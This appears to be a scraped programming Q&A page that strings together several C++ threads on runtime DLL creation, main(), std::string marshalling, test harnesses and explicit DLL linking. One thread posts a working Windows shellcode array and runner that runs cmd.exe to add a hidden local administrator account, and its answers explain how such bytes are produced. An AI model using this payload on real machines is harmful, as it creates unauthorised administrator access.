Im using codeblocks and c++.
The problem that i have when i work on big projects is that a lot of the code goes to creating the interface. It takes a lot of time and a lot of fixing bugs.
I want to create a program that lets me edit the c++ code from my future projects. Lets call it A. A will be able to create a interface for my project by modifying the c++ code. Now, during runtime when A creates a new project it creates its cpp file and its dll file. When A adds a button for exemple, it will change its c++ and save the result on the dll. Then When i decide my project its finished,i want to turn that dll into an exe. I did my best to explain things in few words. Hope you get the idea
I know you can create a dll manually by clicking new project,then by selecting Dynamic Link Libraby, but is it possible to create a dll during runtime? Basically like this:
#include <iostream>
using namespace std;
int main()
{
const char* str=
"
///c++ code
for(i=0;i<5;i++)
if(i%2==0)
cout<<i;
"
const char* path="dllName.dll";
f(str,path);
return 0;
}
The str is a array in which i store some correct c++ code
The f function is the answer i need from you.
Im new to this topic(dll files, so if i asked something stupid and obvious i apologise)
You could write the contents of str to a temporary file and let your program execute a compiler using this file as input.
Produce source code into file, then calling compiler as external process to compile the cpp file.
{
ofstream f("hello.cpp");
f << "your hello world code";
}
system("msvc.exe hello.cpp -some_dll_make_command hello.dll");
A C++ program can't compile code at run time. The best you can do is ask to your program to call the compiler then the compiler will create your dll.
Check out LoadLibrary, FreeLibrary, and GetProcAddress. I assume what you want is dynamically load/unload dlls at runtime.
Related
Intro
Hello! I recently started learning C++. I stopped learning python, because it didn't interest me that much as C++. I am a completely beginner in C++.
Context
My question is that do I need to make a main function for every thing I do?
For example, to print something
#include <iostream>
int main()
{
std::cout <<"Hello World!;
}
So I made it print "Hello World!".
Let's say for something similar do I need to make a new int main()? Or is everything going to be contained inside main()?
Sorry if I made this complicated, every answer is appreciated!
You don't need another main() function.
int main() is the entry point to your program. It is called immediately after initialization of any statically allocated variables.
You should write another function, let's name it add(), and call it from within main(). This lets you split your code up into smaller chunks that are more easily writeable, readable and maintainable.
For example:
We want a program that will print "Hello World!" to the console, then call another function that could print something else.
#include iostream
int main() {
std::cout << "Hello World" << endl; //endl designates the end of a line
printSomethingElse();
}
do i need to make a main function for every thing I do?
No, you do not need to have a main() for everything you do. You just need to have a main() to run your source code.
The main() function is your entry-point into your program in C++; unlike Python which is executed (or run/interpreted) top-down.
For modules like console applications, applications using windows or widgets, dynamic link libraries (Windows) or shared libraries (Linux), you need exactly one main-function. But not for static libraries. Static libraries are linked statically and don't need a main function. They are just collections of functions without a main entry point.
Regards
The following codes got my curiosity. I always look, search, and study about the exploit so called "Buffer overflow". I want to know how the code was generated. How and why the code is running?
char shellcode[] = "\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42"
"\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03"
"\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b"
"\x34\xaf\x01\xc6\x45\x81\x3e\x57\x69\x6e\x45\x75\xf2\x8b\x7a"
"\x24\x01\xc7\x66\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf"
"\xfc\x01\xc7\x68\x4b\x33\x6e\x01\x68\x20\x42\x72\x6f\x68\x2f"
"\x41\x44\x44\x68\x6f\x72\x73\x20\x68\x74\x72\x61\x74\x68\x69"
"\x6e\x69\x73\x68\x20\x41\x64\x6d\x68\x72\x6f\x75\x70\x68\x63"
"\x61\x6c\x67\x68\x74\x20\x6c\x6f\x68\x26\x20\x6e\x65\x68\x44"
"\x44\x20\x26\x68\x6e\x20\x2f\x41\x68\x72\x6f\x4b\x33\x68\x33"
"\x6e\x20\x42\x68\x42\x72\x6f\x4b\x68\x73\x65\x72\x20\x68\x65"
"\x74\x20\x75\x68\x2f\x63\x20\x6e\x68\x65\x78\x65\x20\x68\x63"
"\x6d\x64\x2e\x89\xe5\xfe\x4d\x53\x31\xc0\x50\x55\xff\xd7";
int main(int argc, char **argv){
int (*f)();
f = (int (*)())shellcode;(int)(*f)();
}
Thanks a lot fella's. ^_^
A simple way to generate such a code would be to write the desired functionality in C. Then compile it (not link) using say gcc as your compiler as
gcc -c shellcode.c
This will generate an object file shellcode.o . Now you can see the assembled code using objdump
odjdump -D shellcode.o
Now you can see the bytes corresponding to the instructions in your function.
Please remember though this will work only if your shellcode doesn't call any other function or doesn't reference any globals or strings. That is because the linker has yet not been invoked. If you want all the functionality, I will suggest you generate a shared binary (.so on *NIX and dll on Windows) while exporting the required function. Then you can find the start point of the function and copy bytes from there. You will also have to copy the bytes of all other functions and globals. You will also have to make sure that the shared library is compiled as a position independent library.
Also as mentioned above this code generated is specific to the target and won't work as is on other platforms.
Machine code instructions have been entered directly into the C program as data, then called with a function pointer. If the system allows this, the assembly can take any action allowed to the program, including launching other programs.
The code is specific to the particular processor it is targetted at.
I have a C++/CLI project using OpenCV. I compiled this version of OpenCV in VS 2010 myself and I can use it in unmanaged projects without an issue — the trouble started when I tried to use it in a managed one.
The function of interest is cv::imread(std::string&, int). Simply calling it from a managed module did not work at all, producing <invalid pointer> on the receiving end. I was sort of expecting it. After all, managed code has its own std::string implementation.
Things got a little more interesting when I created a separate C++ file, removed CLI support from its module, and placed my code in it. Now, imread was getting a valid pointer, but its contents were scrambled. Apparently, the string I was passing it contained the string pointer offset by 4 bytes, but it expected it to be at the 0 offset.
The unmanaged module is using the same CRT DLL as OpenCV and has all options set to the values appropriate for normal OpenCV use. Why would it have a different string layout? I am lost.
Sample code:
#include <opencv/cv.h>
#include <opencv/highgui.h>
#include <string>
using namespace cv;
using namespace std;
void Run()
{
string path("C:\\Users\\Don Reba\\Pictures\\Merlin 1D.jpg");
Mat image(imread(path, CV_LOAD_IMAGE_GRAYSCALE));
imwrite("image.jpg", image);
}
Answering the question in the title: no, you can't directly marshal std::string from managed to unmanaged code. See answers to another SO question on the reasons. Main reason is that std::string is a template and not a "real" type.
Basically, you need to write a small unmanaged module which provides simple wrappers for the openCV functions, getting rid of STL types. With your example function, it can be as simple as that:
declspec(__dllexport) imread(char* c, int i) {
string s = c;
cv::imread(s, i);
}
As for the problem with the string offset... Try creating a separate project, with "Unmanaged" type from the beginning. Switching the project to managed and back can produce a mess with project settings, having unpredictable consequences - at least, I've hit such pits twice...
You shouldn't (can't) pass a std::string& between different modules (DLLs) unless you are sure that all your modules were compiled the same way (release vs. debug etc).
For example: if you compile one DLL in release and another as debug - then the memory layout of std::string is likely to be different.
Other compiler settings may influence the memory layout as well.
Try this - compile the code below as release vs. debug and run it.
In debug you get 32 in relase 28.
#include <iostream>
#include <string>
int main()
{
std::cout << "sizeof(std::string) : " << sizeof(std::string) << std::endl;
return 0;
}
I suggest not to cross module boundaries using std::string.
Short answer: Yes, you can pass a STL string to a native C++ DLL from a C++/CLI app, if you use the same compiler settings for the DLL and the C++/CLI app.
Code:
#include <msclr/marshal_cppstd.h> // header for marshal utilities
...
String^ path = "C:\\Users\\Don Reba\\Pictures\\Merlin 1D.jpg"; // Managed string
std::string s = msclr::interop::marshal_as<std::string>(path); // To stl string
cv::imread(s, CV_LOAD_IMAGE_GRAYSCALE);
See this page for more details: http://msdn.microsoft.com/en-us/library/bb384865.aspx
The problem is that Visual Studio 2010 uses different toolsets for C++ and C++/CLI projects by default. This is why STL classes have different layouts despite identical settings. To fix the problem, make sure that Configuration Properties / General / Platform Toolset is set to v100 in the C++/CLI project.
Background: I have a complicated application that I have inherited and am extending (graduate research project). I want to make sure my re-organizations have a positive long term effect on maintainability and usability -- in other words I want to make sure I set things up in as standard a way as possible for future people who might work on the code. I do not have time, nor is it my place, to completely re-structure the application.
The application is an ecosystem model. It consists of a shared library written in C++ that does the heavy lifting. The library is included in a Java application that "drives" the simulation -- handles some database I/O and provides a GUI.
In the course of my development, I have added a number of utility functions to the project, mostly for convenient printing of internal variables to the console (directly from the C++ portions of the code) during run-time.
I am now factoring these functions out into a utility file (header and cpp) that is included in other files as needed. I put the functions in their own namespace following an example here: Organising utility functions in C++
Question: If I want to write some tests for the utility functions so that I can develop and experiment w/o re-compiling and modifying/running the entire model, where and how should these tests be best included?
Will it be a problem if I have a main() function in the util.cpp file? To my surprise, I tried this and it works; I can compile and run the util.cpp file independently. Also the primary application which includes util.cpp still compiles and runs fine. I was surprised because I thought the presence of a second main() would be a problem -- although the application entry point is in the java code.
However I am not sure if this is the best route; I don't have enough experience to see future pitfalls with this tactic.
Here is a short example of the my util.cpp file:
#include "util.hpp"
#include <iostream>
#include <vector>
namespace util {
/** Prints a std::vector of doubles in a format that can be
* copied directly into a python console. */
void util::pyprint_vec(const std::vector<double> & v){
std::cout << "[";
for(std::vector<double>::const_iterator it = v.begin(); it != v.end(); ++it){
std::cout << *it << ", ";
}
std::cout << "\b\b]"; // remove the last comma
}
}
int main() {
using namespace util;
using namespace std;
cout << "Testing some of the utility functions...\n";
vector<double> a_vec(50,12.0);
pyprint_vec(a_vec);
cout << endl;
return 0;
}
Ultimately I envision templating some of the functions (at which point they actually move to util.hpp) and adding to the file as well as being able to use it in other projects.
Thanks in advance for any advice.
Normally, you would want to write a seperate executable program that includes the unit tests and that links against the functions that are to be tested. For example, you could create a util_test.cpp that includes a main()-function and the code with the tests, and that *#include*s the util.hpp. When compiling, use static or dynamic linking to the code that you want to be tested.
Technicaly, it won't be a problem to have a main() function in the util.cpp. However, if you include a second main function somewhere else in the library (to unit-test something else), and link it into the same shared object, you will recieve linker errors.
The main function has no special meaning other than, when the linker creates the executable, it inserts special code so that when you start the program, the code from main gets executed. If you load a "shared object" library, you don't "start" the program, and as long as you don't call the main function explicitly that code won't get executed.
From a purely getting it working point of view, one main function is fine, but two is going to break your compilation as only one can be called at startup.
You really want to looking into a unit-testing framework, something like cppunit or cxxtest (my current favorite). These are going to provide functionality that you'll find yourself re-implementing poorly if you try to go it alone. Generating multiple executables is a losers game, it will take forever to compile if your codebase is of any size at all. You really want one compiled executable driven by some kind of framework.
I'm trying to explicitly link with a DLL. No other resources is available except the DLL file itself and some documentation about the classes and its member functions.
From the documentation, each class comes with its own
member typedef
example: typedef std::map<std::string,std::string> Server::KeyValueMap, typedef std::vector<std::string> Server::String Array
member enumeration
example: enum Server::Role {NONE,HIGH,LOW}
member function
example: void Server::connect(const StringArray,const KeyValueMap), void Server::disconnect()
Implementing the codes from google search, i manage to load the dll can call the disconnect function..
dir.h
LPCSTR disconnect = "_Java_mas_com_oa_rollings_as_apiJNI_Server_1disconnect#20";
LPCSTR connect =
"_Java_mas_com_oa_rollings_as_apiJNI_Server_1connect#20";
I got the function name above from depends.exe. Is this what is called decorated/mangled function names in C++?
main.cpp
#include <iostream>
#include <windows.h>
#include <tchar.h>
#include "dir.h"
typedef void (*pdisconnect)();
int main()
{
HMODULE DLL = LoadLibrary(_T("server.dll"));
pdisconnect _pdisconnect;`
if(DLL)
{
std::cout<< "DLL loaded!" << std::endl;
_disconnect = (pdisconnect)GetProcAddress(DLL,disconnect);
if(_disconnect)
{
std::cout << "Successful link to function in DLL!" << std::endl;
}
else
{
std::cout<< "Unable to link to function in DLL!" << std::endl;
}
}
else
{
std::cout<< "DLL failed to load!" << std::endl;
}
FreeLibrary (DLL);
return 0;}
How do i call (for example) the connect member function which has the parameter datatype declared in the dll itself?
Edit
more info:
The DLL comes with an example implementation using Java. The Java example contains a Java wrapper generated using SWIG and a source code.
The documentation lists all the class, their member functions and also their datatypes. According to the doc, the list was generated from the C++ source codes.(??)
No other info was given (no info on what compiler was used to generate the DLL)
My colleague is implementing the interface using Java based on the Java example given, while I was asked to implement using C++. The DLL is from a third party company.
I'll ask them about the compiler. Any other info that i should get from them?
I had a quick read through about JNI but i dont understand how it's implemented in this case.
Update
i'm a little confused... (ok, ok... very confused)
Do i call(GetProcAddress) each public member function separately only when i want to use them?
Do i create a dummy class that imitates the class in the dll. Then inside the class definition, i call the equivalent function from the DLL? (Am i making sense here?) fnieto, is this what you're showing me at the end of your post?
Is it possible to instantiate the whole class from the DLL?
I was trying to use the connect function described in my first post. From the Depends.exe DLL output,
std::map // KeyValueMap has the following member functions: del, empty, get, has_1key,set
std::vector // StringArray has the following member functions: add, capacity, clear, get, isEMPTY, reserve, set, size
which is different from the member functions of map and vector in my compiler (VS 2005)...
Any idea? or am i getting the wrong picture here...
Unless you use a disassembler and try to figure out the paramater types from assemly code, you can't. These kind of information is not stored in the DLL but in a header file coming with the DLL. If you don't have it, the DLL is propably not meant to be used by you.
I would be very careful if I were you: the STL library was not designed to be used across compilation boundaries like that.
Not that it cannot be done, but you need to know what you are getting into.
This means that using STL classes across DLL boundaries can safely work only if you compile your EXE with the same exact compiler and version, and the same settings (especially DEBUG vs. RELEASE) as the original DLL. And I do mean "exact" match.
The C++ standard STL library is a specification of behavior, not implementation. Different compilers and even different revisions of the same compiler can, and will, differ on the code and data implementations. When your library returns you an std::map, it's giving you back the bits that work with the DLL's version of the STL, not necessarily the STL code compiled in your EXE.
(and I'm not even touching on the fact that name mangling can also differ from compiler to compiler)
Without more details on your circumstances, I can't be sure; but this can be a can of worms.
In order to link with a DLL, you need:
an import library (.LIB file), this describes the relation between C/C++ names and DLL exports.
the C/C++ signatures of the exported items (usually functions), describing the calling convention, arguments and return value. This usually comes in a header file (.H).
From your question it looks like you can guess the signatures (#2), but you really need the LIB file (#1).
The linker can help you generate a LIB from a DLL using an intermediate DEF.
Refer to this question for more details: How to generate an import library from a DLL?
Then you need to pass the .lib as an "additional library" to the linker. The DLL must be available on the PATH or in the target folder.